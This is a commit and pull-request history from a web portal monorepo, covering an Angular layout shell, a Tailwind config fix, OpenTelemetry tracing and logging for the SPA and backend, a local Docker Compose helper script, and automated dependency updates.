- [ ] BFF boots; calling `AuditWriter.recordEvent` from a controller (manual smoke once a real flow lands) writes to `audit.events` with the expected `trace_id` matching the request's Jaeger span.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #76
2026-05-10 03:44:01 +02:00
julien e2dd2e4dd8 fix(portal-shell): use .postcssrc.json so tailwind utilities are emitted (#75)
CI / check (push) Successful in 2m16s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m23s
CI / a11y (push) Successful in 1m8s
CI / perf (push) Successful in 2m36s
## Summary

The portal-shell scaffold shipped a `postcss.config.js`, but `@angular/build` (Angular 17+ esbuild pipeline) does **not** load that file format — it only reads `.postcssrc.json`. Result: the `@tailwindcss/postcss` plugin was never registered, Tailwind ran with no source files visible, generated only its `@theme` block, and dropped every utility class on the floor.

The page therefore rendered unstyled — black text on white — even though `nx build` reported success and shipped a 23 KB `styles*.css`.

Rename / re-encode the config to `.postcssrc.json`. Same plugin, same options, just the file format Angular's esbuild adapter actually reads.

## Verification

| | Before | After |
| - | - | - |
| Class selectors in `dist/apps/portal-shell/browser/styles*.css` | **0** | **75** (production) |
| `.text-3xl`, `.bg-amber-50`, `.font-semibold` etc. emitted |  | ✓ |
| Pages render with intended Tailwind layout |  | ✓ |

```bash
pnpm exec nx build portal-shell --configuration=production
grep -oE '\.[a-zA-Z][a-zA-Z0-9_-]*' dist/apps/portal-shell/browser/styles*.css | sort -u | wc -l
# 75
```

## Doc update

`docs/development.md` repo-layout walkthrough now reads `.postcssrc.json` and explicitly calls out that `postcss.config.js` is ignored by `@angular/build` — so a future contributor reaching for the legacy filename gets a hint instead of a silent failure.

## Test plan

- [ ] CI green on this PR.
- [ ] Local: bring up the SPA dev server, `localhost:4200` shows the styled layout — header bar with brand link, system-status widget with rounded card, footer with the two language links.
- [ ] Production build: `nx build portal-shell --configuration=production` succeeds; `dist/.../styles*.css` contains tens of utility-class selectors (not just `@theme` tokens).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #75
2026-05-10 02:55:15 +02:00
julien 0d31937aeb feat(portal-shell): replace nx-welcome with real shell and home + budgets per ADR-0017 (#74)
CI / check (push) Successful in 2m4s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m6s
CI / a11y (push) Successful in 1m14s
CI / perf (push) Successful in 3m3s
## Summary

Cuts the Nx scaffold's `NxWelcome` page (938 LOC of placeholder markup) and lays down the actual portal layout — header, main, footer landmarks plus a skip link — with a real home page and the two RGAA-mandated accessibility statement routes. Bundle budgets in `project.json` are tightened to match ADR-0017.

## What lands

**Layout shell** (`apps/portal-shell/src/app/`):

- `components/header/` — brand link + primary nav landmark stub
- `components/footer/` — accessibility statement links (FR + EN) + version badge
- `app.html` / `app.scss` — flex column with sticky footer + skip link to `#main-content` (WCAG 2.4.1)

**Pages**:

- `pages/home/` — welcome heading + "system status" widget that fetches `/api/health` from the BFF. Doubles as a smoke test of the full SPA → BFF stack: CORS, OTel trace propagation, Pino log correlation. After page load, http://localhost:16686 should show one trace whose root span is the SPA `document_load`, with a child `fetch` span that has its own child `HTTP GET /api/health` BFF span.
- `pages/accessibility/` — single component, content selected by route data (`lang: 'fr' | 'en'`). Mounted at `/accessibility` (en) and `/accessibilite` (fr). v1 carries placeholder copy explicitly framed as "awaiting APF user panel review" — RGAA + ADR-0016 require the routes to exist; the substantive statement (audit grid, gaps list, remediation plan) lands separately.

**Routing & wiring**:

- `app.routes.ts` adds the three routes, all lazy-loaded.
- `app.config.ts` adds `provideHttpClient(withFetch())` so HttpClient delegates to the patched browser `fetch` and the W3C `traceparent` header propagates automatically (per ADR-0012 phase 2).
- `nx-welcome.ts` removed; `app.ts` no longer imports it.

**Bundle budgets** (`apps/portal-shell/project.json`):

| Type                | Limit (raw)  | ADR-0017 (gzip) |
| ------------------- | ------------ | --------------- |
| `initial`           | 1 MB         | ≤ 300 KB        |
| `anyScript`         | 300 KB       | ≤ 100 KB / chunk |
| `anyComponentStyle` | 6 KB         | ≤ 6 KB           |
| `bundle "styles"`   | 150 KB       | ≤ 150 KB         |

`maximumWarning == maximumError` so an overshoot fails the build (matching `type: "error"` in spirit). Angular CLI compares **raw** sizes; ADR-0017 §Confirmation is updated to record the gzip→raw translation and the deferred follow-up that will add a CI check on the actual gzipped transfer size (Angular has no native gzip-mode budget).

## Verified locally

- `pnpm exec nx run-many -t lint test build` → 8 projects green; **12 tests pass** for `portal-shell` across 5 specs (App, Header, Footer, Home, AccessibilityStatement).
- `pnpm nx build portal-shell --configuration=production` → initial bundle **326.99 KB raw / 89.82 KB transfer** (gzip) — well under the ADR-0017 300 KB gzip target. Lazy chunks: home 2.66 KB, accessibility 2.90 KB.
- `pnpm audit` clean.

After `./infra/local/dev.sh up observability` + `pnpm nx serve portal-bff` + `pnpm nx serve portal-shell`, opening http://localhost:4200 shows the new layout, the system-status widget connects to the BFF, and the corresponding trace appears in Jaeger.

## Out of scope (separate PRs)

- **Real RGAA audit content** — APF user-panel review.
- **Design tokens system** in `libs/shared/tokens`.
- **Reusable UI primitives** in `libs/shared/ui`.
- **User-preferences panel** (ADR-0016 §"User-preferences panel").
- **i18n machinery** (`@angular/localize`) — for v1 the FR/EN copy is inlined and route-driven; real i18n is a separate ADR.
- **Env-config** (Angular `environment.ts`) — the hard-coded `http://localhost:3000/api/health` will move there alongside the OTLP endpoint when the env-config PR lands.
- **CI gzip-transfer-size assertion** to complement the raw-size Angular budgets.

## Test plan

- [ ] CI green on this PR.
- [ ] Local: home page renders, system-status widget transitions from "Checking the backend…" to the success state when the BFF is up; falls back to "Backend unreachable" with the BFF stopped.
- [ ] `/accessibility` and `/accessibilite` render the matching language with `<article lang="en|fr">`.
- [ ] Skip link reachable via Tab from address bar; clicking it focuses `#main-content`.
- [ ] Production build size summary roughly matches the figures above (initial total ≈ 90 KB transfer).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #74
2026-05-10 02:38:42 +02:00
julien 288610b9ba docs(development): add observability dev-loop section (#73)
CI / check (push) Successful in 1m27s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m25s
CI / a11y (push) Successful in 45s
CI / perf (push) Successful in 2m20s
## Summary

ADR-0012 phase 1 + phase 2 are wired (BFF + SPA), so the "Observability dev-loop" placeholder in the roadmap table now has real content to point at. Promote it from §9 future-work list to a full §5 walkthrough sitting between "Daily commands" and "Dependency updates".

## What §5 covers

- **Bringing up the observability stack** — `./infra/local/dev.sh up observability`, with the endpoint table (Jaeger UI, OTLP receiver, BFF stdout, browser DevTools).
- **Reading a trace in Jaeger** — service-dropdown filter, span attribute keys to look at (`http.method`, `db.statement`, `service.name`, `trace_id`), the trace-id-as-pivot pattern.
- **Correlating a trace with the BFF Pino logs** via `trace_id` and `request_id` (the per-request UUID `nestjs-cls` provides). Concrete `grep` example.
- **Reading SPA spans from the browser** — DevTools Network filter on `localhost:4318/v1/traces` + Jaeger UI cross-check.
- **Common gotchas** — observability profile not active, CORS pre-flight on `/v1/traces`, `propagateTraceHeaderCorsUrls` mismatches, NODE_ENV mis-set, EADDRINUSE on serve restart.
- **What's not in v1** — pointer at the "wired as features land" deltas (CLS keys for session/user/audience, redact list, custom domain spans, prod backend) so a contributor knows what's intentionally not yet there.

## Renumbering

The new §5 pushes existing sections down. Final structure: 1. Repo layout / 2. Prerequisites / 3. Initial setup / 4. Daily commands / 5. **Observability dev-loop** / 6. Dependency updates (Renovate) / 7. Conventional commit cycle / 8. Where to look / 9. Roadmap.

The "Observability dev-loop" line in §9's roadmap table is removed (now implemented).

`docs/README.md` cross-link updated to mention the new section.

## Test plan

- [ ] CI green on this PR (`format:check`).
- [ ] In a fresh checkout, follow §5's "Bring up the observability stack" verbatim, reach the Jaeger UI, then walk a trace through the `grep` correlation example with a synthetic request — flag any step that's wrong / missing on this real-world rehearsal.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #73
2026-05-10 02:14:46 +02:00
julien 8f2cd4e068 feat(portal-shell): wire spa-side opentelemetry tracing (#72)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m15s
CI / a11y (push) Successful in 1m6s
CI / perf (push) Successful in 2m0s
CI / check (push) Successful in 43s
## Summary

Phase 2 of ADR-0012 — closes the loop SPA → BFF → DB. After this PR, a single user action (initial page load, click, form submit) produces one trace whose root span is owned by the SPA and whose child spans cover the BFF request, Postgres queries through Prisma, and (eventually) Redis / downstream-API hops.

## What lands

**Browser-side OTel libs** (production deps):

- `@opentelemetry/sdk-trace-web` — browser tracer + provider
- `@opentelemetry/exporter-trace-otlp-http` — OTLP/HTTP+JSON exporter
- `@opentelemetry/instrumentation` — auto-instrumentation runtime
- `@opentelemetry/instrumentation-fetch` — `fetch` + W3C `traceparent` propagation
- `@opentelemetry/instrumentation-document-load` — initial-paint timings
- `@opentelemetry/instrumentation-user-interaction` — click / keypress / submit

No `@opentelemetry/context-zone`: the workspace is zoneless per ADR-0004; the default `StackContextManager` covers the auto-instrumented paths. Custom spans across `await` will need explicit `context.with(...)` plumbing — fine, encountered as code lands.

**Code**:

- [`apps/portal-shell/src/observability/tracing.ts`](apps/portal-shell/src/observability/tracing.ts) — `WebTracerProvider` bootstrap. Documents the load-order constraint inline (same pattern as the BFF: must be the very first import of `main.ts`, otherwise auto-instrumentations miss everything imported above).
- `apps/portal-shell/src/main.ts` now imports the tracing module as line 1.

**CORS plumbing** for end-to-end trace propagation:

- BFF (`apps/portal-bff/src/main.ts`) calls `enableCors` with a minimal dev allowlist (`http://localhost:4200`) and explicit permission for the W3C `traceparent` / `tracestate` headers. The full security-grade CORS (per-environment allowlists, helmet, cookie-session, CSRF) belongs to the future phase-2 security ADR — this PR adds the strict minimum for the SPA→BFF trace context to survive cross-origin pre-flight.
- OTel Collector (`infra/local/otel-collector.yaml`) gains a `cors` block on its OTLP/HTTP receiver so the browser's own OTLP POST clears its pre-flight.

**ADR-0012 §Confirmation** rewritten: a new "Wired in the SPA foundation PR (phase 2)" block enumerates what landed here; the carry-over "Wired as features land" list drops the SPA-side SDK item and adds a follow-up note about the security-grade CORS.

## Verification

```bash
pnpm exec nx run-many -t lint test build           # 8 projects green
pnpm audit                                          # 0 vulns
./infra/local/dev.sh up observability               # bring up Collector + Jaeger
./infra/local/dev.sh                                # (separately, BFF stack — your choice)
pnpm nx serve portal-bff                           # localhost:3000
pnpm nx serve portal-shell                         # localhost:4200
```

Open http://localhost:4200 → a `document_load` trace appears in http://localhost:16686 with `service.name=portal-shell`. From DevTools, run `fetch('http://localhost:3000/api/health').then(r => r.json())` → a fetch span appears with a child BFF span on the same trace.

## Test plan

- [ ] CI green on this PR.
- [ ] After local up, `document_load` span visible in Jaeger UI for the SPA.
- [ ] Cross-origin fetch from SPA carries `traceparent` (visible in Network tab) and produces a single end-to-end trace SPA → BFF in Jaeger.
- [ ] DevTools console shows no CORS warnings about `traceparent`, `tracestate`, or the `localhost:4318/v1/traces` POST.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #72
2026-05-09 23:23:18 +02:00
julien c3c15585ff style(portal-bff): apply prettier to check-database-url.ts (#71)
CI / check (push) Successful in 1m43s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m33s
CI / a11y (push) Successful in 42s
CI / perf (push) Successful in 2m21s
## Summary

Cosmetic-only follow-up to #70. Collapses one over-cautious multi-line `throw new Error(...)` into a single line that fits within the project's 100-char `printWidth`.

The reformat was produced by lint-staged **during** the amend that landed #70, but applied to the working tree only — the modification never made it back into the staged content of the amend. The merged commit therefore carries the un-prettified version.

Spotted locally with `pnpm exec prettier --check apps/portal-bff/src/config/check-database-url.ts` failing. Left unchecked, the next PR's `check` job would break at `format:check` for unrelated reasons.

## Test plan

- [ ] CI green on this PR (`format:check` clean).
- [ ] No behavioural change — only whitespace.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #71
2026-05-09 22:45:10 +02:00
julien b74d3f1b9b feat(portal-bff): observability foundations (Pino + CLS + OTel) (#70)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m33s
CI / check (push) Successful in 2m3s
CI / a11y (push) Successful in 1m11s
CI / perf (push) Successful in 2m14s
## Summary

Implements ADR-0012 phase 1, BFF side. The SPA wiring is a separate phase-2 PR.

The BFF now emits structured JSON logs to stdout, tagged with `trace_id` / `span_id` from the active OTel context, and exports OTLP traces over HTTP/Protobuf to the Collector that already runs in the local-dev compose. Anything Nest, Express, HTTP-out, Prisma (Postgres) or `ioredis` does is auto-spanned. A `GET /api/health` liveness endpoint is added to round things out.

## What lands

**Runtime libs added** (production deps):

- `nestjs-pino`, `pino`, `pino-http` — structured logging
- `nestjs-cls` — request-scoped context
- `@opentelemetry/api` / `sdk-node` / `resources` / `semantic-conventions`
- `@opentelemetry/exporter-trace-otlp-proto` (HTTP/Protobuf, port 4318)
- `@opentelemetry/instrumentation-{http,express,nestjs-core,pg,ioredis,pino}` — curated, **no** `auto-instrumentations-node` mass-import (anti-bricolage)

Dev: `pino-pretty` (gated by `NODE_ENV`).

**Code:**

- `apps/portal-bff/src/observability/tracing.ts` — OTel `NodeSDK` bootstrap. Documents the load-order constraint inline (must be the very first import of `main.ts`). Pure side-effect module.
- `apps/portal-bff/src/observability/observability.module.ts` — composes `ClsModule` (UUID per request stored as `request_id`) and `LoggerModule` (`pino-pretty` in dev, raw JSON in prod, `LOG_LEVEL` env-driven, `/health` excluded from auto-logging, `X-Request-Id` honoured if inbound).
- `apps/portal-bff/src/health/{health.controller,health.module,health.controller.spec}.ts` — `GET /api/health` returning `{status, uptimeSeconds, service, version}`. Cheap liveness only — `/readiness` lands when dependencies have a readiness story.
- `apps/portal-bff/src/config/check-database-url.{ts,spec.ts}` — fail-fast validator called from `main.ts` before NestFactory boots. Catches the same family of bug that bit pgweb in #63: a literal special character in `POSTGRES_PASSWORD` that needs URL-encoding in `DATABASE_URL`. Prisma requires a URL string (no discrete-flag escape hatch), so early validation + a clear error message is the v1 mitigation. Six unit tests cover happy path, missing URL, wrong scheme, encoded special chars, literal `@` in password, malformed URL.

**Wiring:**

- `main.ts` imports `./observability/tracing` as line 1, then uses `app.get(Logger)` from `nestjs-pino` with `bufferLogs: true` so early-bootstrap lines are not lost.
- `app.module.ts` imports `ObservabilityModule` first, then `PrismaModule`, then `HealthModule`.
- `apps/portal-bff/.env.example` promotes `LOG_LEVEL`, `OTEL_SERVICE_NAME`, `OTEL_SERVICE_VERSION`, `OTEL_EXPORTER_OTLP_ENDPOINT`, `OTEL_EXPORTER_OTLP_PROTOCOL`, `OTEL_TRACES_SAMPLER` from the "future" comment to active settings — defaults target the local-dev Collector.
- Both `apps/portal-bff/.env.example` and `infra/local/.env.example` now spell out the URL-encoding constraint on `POSTGRES_PASSWORD` with the char-by-char encoding table (`@` → `%40`, etc.).

**ADR-0012 §Confirmation** rewritten to distinguish what landed in this PR from what is wired as the corresponding feature ADRs ship (CLS keys for `session_id` / `user_id_hash` / `audience`, `LOG_USER_ID_SALT` enforcement, redact list, custom spans, SPA-side SDK, full integration tests, prod Collector config).

## Trace ↔ log correlation

Automatic via `@opentelemetry/instrumentation-pino` — every Pino record gets `trace_id` and `span_id` injected from the active OTel context. No CLS gymnastics needed for that concern.

## Verification

```bash
pnpm exec nx run-many -t lint test build       # 8 projects green
pnpm audit --audit-level=moderate              # 0 vulnerabilities
./infra/local/dev.sh up observability          # start Collector + Jaeger
cp apps/portal-bff/.env.example apps/portal-bff/.env
pnpm nx serve portal-bff
curl http://localhost:3000/api/health
# → {"status":"ok","uptimeSeconds":N,"service":"portal-bff","version":"dev"}
```

Then hit `GET http://localhost:3000/api` once or twice and open http://localhost:16686 — the corresponding spans appear in Jaeger, and Pino logs on stdout carry the matching `trace_id`.

## Test plan

- [ ] `nx run-many -t lint test build` green on this PR's CI run.
- [ ] `pnpm audit` clean.
- [ ] BFF boots, `/api/health` returns the expected JSON.
- [ ] Pino logs in dev are colourised one-liners; in prod they would be raw JSON (toggled by `NODE_ENV=production`).
- [ ] With the local-dev stack's `--profile observability` active, traces are visible in Jaeger UI.
- [ ] Each Pino log line for a request carries the same `trace_id` as the trace span in Jaeger.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #70
2026-05-09 22:28:17 +02:00
APF Portal Bot 80e35c6aab chore(deps): update dependency lint-staged to v17.0.4 (#69)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m30s
CI / check (push) Successful in 1m50s
CI / a11y (push) Successful in 47s
CI / perf (push) Successful in 2m34s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [lint-staged](https://github.com/lint-staged/lint-staged) | devDependencies | patch | [`17.0.3` -> `17.0.4`](https://renovatebot.com/diffs/npm/lint-staged/17.0.3/17.0.4) |

---

### Release Notes

<details>
<summary>lint-staged/lint-staged (lint-staged)</summary>

### [`v17.0.4`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1704)

[Compare Source](https://github.com/lint-staged/lint-staged/compare/v17.0.3...v17.0.4)

##### Patch Changes

- [#&#8203;1788](https://github.com/lint-staged/lint-staged/pull/1788) [`f95c1f8`](https://github.com/lint-staged/lint-staged/commit/f95c1f8df3368758c44c2052e568aac1b3d4c767) - Another fix for making sure *lint-staged* adds task modifications correctly to the commit in the following cases:

  - after editing `<file>` it is staged with `git add <file>`, and then committed with `git commit`
  - after editing `<file>` it is committed with `git commit --all` without explicit `git add`
  - after editing `<file>` it is committed with `git commit <pathspec>` without explicit `git add`

  There's new test cases which actually setup the Git `pre_commit` hook to run *lint-staged* and verify them. These issues started in **v17.0.0** when trying to improve support for committig without having explicitly staged files.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #69
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-09 22:13:56 +02:00
julien fc9b63f24a feat(infra): add dev.sh wrapper for the local-dev compose stack (#68)
CI / check (push) Successful in 1m36s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m9s
CI / a11y (push) Successful in 1m9s
CI / perf (push) Successful in 3m1s
## Summary

Two recurring frictions on the local-dev stack:

1. **Compose-profile asymmetry** — `docker compose down` only operates on services whose profile is currently active. Anything brought up with `--profile X` keeps running unless the same flag is passed on `down`. pgweb and Jaeger silently survived several `down -v` invocations before we noticed (#67 documented the gotcha; this PR makes it impossible to hit if you use the wrapper).
2. **Verbose invocations** — typing `docker compose -f infra/local/dev.compose.yml --profile … <verb>` for routine ops gets old fast.

Add [`infra/local/dev.sh`](infra/local/dev.sh) as a thin wrapper. Always passes every profile in scope on teardown / status / log commands, exposes ergonomic verbs:

| Command                                       | Effect                                                          |
| --------------------------------------------- | --------------------------------------------------------------- |
| `./infra/local/dev.sh up`                     | Core only (postgres + redis + otel-collector)                   |
| `./infra/local/dev.sh up all`                 | Core + every profile                                            |
| `./infra/local/dev.sh up dbtools`             | Core + pgweb                                                    |
| `./infra/local/dev.sh up observability`       | Core + Jaeger                                                   |
| `./infra/local/dev.sh down [-v]`              | Tear down (every profile in scope, no orphaned services)        |
| `./infra/local/dev.sh stop <service>`         | Stop one service (containers stay around)                       |
| `./infra/local/dev.sh restart <service>`      | Restart one service                                             |
| `./infra/local/dev.sh status`                 | `ps` with every profile visible                                 |
| `./infra/local/dev.sh logs [service]`         | Follow logs                                                     |
| `./infra/local/dev.sh exec <service> <cmd>`   | Run a command inside a container                                |

Anything not matching one of the named verbs is passed through to `docker compose -f dev.compose.yml ...` (with every profile flagged in), so the full Compose surface remains available.

## Doc updates

- **`infra/README.md`** — new "Convenience script" subsection with the cheat-sheet table; "First-time setup" rewritten to use the script; the standalone "Profile symmetry" tip from #67 is collapsed into a one-liner since the script now handles it (the note remains as a fallback for direct `docker compose` users).
- **`docs/development.md` §3** — points at the script for the typical setup flow.

The compose file itself is unchanged.

## Test plan

- [ ] `./infra/local/dev.sh help` prints the usage block.
- [ ] `./infra/local/dev.sh up` brings up the 3 core services (no pgweb / no jaeger).
- [ ] `./infra/local/dev.sh up all` adds pgweb and Jaeger.
- [ ] `./infra/local/dev.sh down -v` stops and removes all 5 containers (incl. pgweb and Jaeger), wipes the postgres-data and redis-data volumes.
- [ ] `./infra/local/dev.sh stop pgweb` stops just pgweb.
- [ ] `./infra/local/dev.sh logs otel-collector` follows that service's logs.
- [ ] `./infra/local/dev.sh exec postgres psql -U "$POSTGRES_USER" -d "$POSTGRES_DB" -c "\du"` lists the audit roles.
- [ ] `./infra/local/dev.sh stop` (no arg) errors with a clear message.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #68
2026-05-09 21:50:37 +02:00
julien 4d2d4d652a docs(infra): document Compose profile + down/up symmetry gotcha (#67)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m37s
CI / check (push) Successful in 1m38s
CI / a11y (push) Successful in 50s
CI / perf (push) Successful in 2m35s
## Summary

`docker compose -f infra/local/dev.compose.yml down -v` left pgweb and Jaeger running, with no error and no obvious diagnostic — they kept eating memory until the next reboot. Reason: Compose only operates on services whose profile is currently active. Bringing them up with `--profile dbtools` / `--profile observability` requires the same flag(s) on `down`, otherwise they're invisible to that command.

Document the gotcha in `infra/README.md` "Local-dev stack" → "Operational tips", with the two pragmatic resolutions:

1. Pass the same flags on each command (most explicit).
2. Set `COMPOSE_PROFILES=dbtools,observability` once in the shell or `infra/local/.env`, and let it propagate to every `up` / `down` / `ps` invocation.

## Test plan

- [ ] Bring up the full stack: `docker compose -f infra/local/dev.compose.yml --profile dbtools --profile observability up -d`.
- [ ] `docker compose -f infra/local/dev.compose.yml down -v` (no flags) — confirms pgweb + jaeger keep running.
- [ ] Run the documented "complete" command — confirms everything is gone.
- [ ] Repeat with `COMPOSE_PROFILES` set; same outcome.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #67
2026-05-09 21:40:28 +02:00
APF Portal Bot b2d7fe3fd7 chore(deps): update dependency jest to v30.4.2 (#65)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m16s
CI / check (push) Successful in 2m28s
CI / a11y (push) Successful in 48s
CI / perf (push) Successful in 3m10s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [jest](https://jestjs.io/) ([source](https://github.com/jestjs/jest/tree/HEAD/packages/jest)) | devDependencies | patch | [`30.4.1` -> `30.4.2`](https://renovatebot.com/diffs/npm/jest/30.4.1/30.4.2) |

---

### Release Notes

<details>
<summary>jestjs/jest (jest)</summary>

### [`v30.4.2`](https://github.com/jestjs/jest/blob/HEAD/CHANGELOG.md#3042)

[Compare Source](https://github.com/jestjs/jest/compare/v30.4.1...v30.4.2)

##### Fixes

- `[jest-runtime]` Fix named imports from CJS modules whose `module.exports` is a function with own-property exports ([#&#8203;16150](https://github.com/jestjs/jest/pull/16150))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #65
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-09 20:58:02 +02:00
APF Portal Bot 3fbb1f92a8 chore(deps): update tailwind css to v4.3.0 (#66)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m21s
CI / check (push) Successful in 1m35s
CI / a11y (push) Successful in 44s
CI / perf (push) Successful in 2m30s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@tailwindcss/postcss](https://tailwindcss.com) ([source](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss)) | devDependencies | minor | [`4.2.4` -> `4.3.0`](https://renovatebot.com/diffs/npm/@tailwindcss%2fpostcss/4.2.4/4.3.0) |
| [tailwindcss](https://tailwindcss.com) ([source](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | devDependencies | minor | [`4.2.4` -> `4.3.0`](https://renovatebot.com/diffs/npm/tailwindcss/4.2.4/4.3.0) |

---

### Release Notes

<details>
<summary>tailwindlabs/tailwindcss (@&#8203;tailwindcss/postcss)</summary>

### [`v4.3.0`](https://github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#430---2026-05-08)

[Compare Source](https://github.com/tailwindlabs/tailwindcss/compare/v4.2.4...v4.3.0)

##### Added

- Add `@container-size` utility ([#&#8203;18901](https://github.com/tailwindlabs/tailwindcss/pull/18901))
- Add `scrollbar-{auto,thin,none}` utilities for `scrollbar-width`, and `scrollbar-thumb-*` / `scrollbar-track-*` color utilities for `scrollbar-color` ([#&#8203;19981](https://github.com/tailwindlabs/tailwindcss/pull/19981), [#&#8203;20019](https://github.com/tailwindlabs/tailwindcss/pull/20019))
- Add `scrollbar-gutter-*` utilities ([#&#8203;20018](https://github.com/tailwindlabs/tailwindcss/pull/20018))
- Add `zoom-*` utilities ([#&#8203;20020](https://github.com/tailwindlabs/tailwindcss/pull/20020))
- Add `tab-*` utilities ([#&#8203;20022](https://github.com/tailwindlabs/tailwindcss/pull/20022))
- Allow using `@variant` with stacked variants (e.g. `@variant hover:focus { … }`) ([#&#8203;19996](https://github.com/tailwindlabs/tailwindcss/pull/19996))
- Allow using `@variant` with compound variants (e.g. `@variant hover, focus { … }`) ([#&#8203;19996](https://github.com/tailwindlabs/tailwindcss/pull/19996))
- Support `--default(…)` in `--value(…)` and `--modifier(…)` for functional `@utility` definitions ([#&#8203;19989](https://github.com/tailwindlabs/tailwindcss/pull/19989))

##### Fixed

- Ensure `@plugin` resolves package JavaScript entries instead of browser CSS entries when using `@tailwindcss/vite` ([#&#8203;19949](https://github.com/tailwindlabs/tailwindcss/pull/19949))
- Fix relative `@import` and `@plugin` paths resolving from the wrong directory when using `@tailwindcss/vite` ([#&#8203;19965](https://github.com/tailwindlabs/tailwindcss/pull/19965))
- Ensure CSS files containing `@variant` are processed by `@tailwindcss/vite` ([#&#8203;19966](https://github.com/tailwindlabs/tailwindcss/pull/19966))
- Resolve imports relative to `base` when `result.opts.from` is not provided when using `@tailwindcss/postcss` ([#&#8203;19980](https://github.com/tailwindlabs/tailwindcss/pull/19980))
- Canonicalization: preserve significant `_` whitespace in arbitrary values ([#&#8203;19986](https://github.com/tailwindlabs/tailwindcss/pull/19986))
- Canonicalization: add parentheses when removing whitespace from arbitrary values would hurt readability (e.g. `w-[calc(100%---spacing(60))]` → `w-[calc(100%-(--spacing(60)))]`) ([#&#8203;19986](https://github.com/tailwindlabs/tailwindcss/pull/19986))
- Canonicalization: preserve the original unit in arbitrary values instead of normalizing to base units (e.g. `-mt-[20in]` → `mt-[-20in]`, not `mt-[-1920px]`) ([#&#8203;19988](https://github.com/tailwindlabs/tailwindcss/pull/19988))
- Canonicalization: migrate arbitrary `:has()` variants from `[&:has(…)]` to `has-[…]` ([#&#8203;19991](https://github.com/tailwindlabs/tailwindcss/pull/19991))
- Upgrade: don’t migrate inline `style` attributes (e.g. `style="flex-grow: 1"` → `style="flex-grow: 1"`, not `style="grow: 1"`) ([#&#8203;19918](https://github.com/tailwindlabs/tailwindcss/pull/19918))
- Allow multiple `@utility` definitions with the same name but different value types ([#&#8203;19777](https://github.com/tailwindlabs/tailwindcss/pull/19777))
- Export missing `PluginWithConfig` type from `tailwindcss/plugin` to fix errors when inferring plugin config types ([#&#8203;19707](https://github.com/tailwindlabs/tailwindcss/pull/19707))
- Ensure `start` and `end` legacy utilities without values do not generate CSS ([#&#8203;20003](https://github.com/tailwindlabs/tailwindcss/pull/20003))
- Ensure `--value(…)` is required in functional `@utility` definitions ([#&#8203;20005](https://github.com/tailwindlabs/tailwindcss/pull/20005))
- Canonicalization: preserve required whitespace around operators in negated arbitrary values (e.g. `-left-[(var(--a)+var(--b))]`) ([#&#8203;20011](https://github.com/tailwindlabs/tailwindcss/pull/20011))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

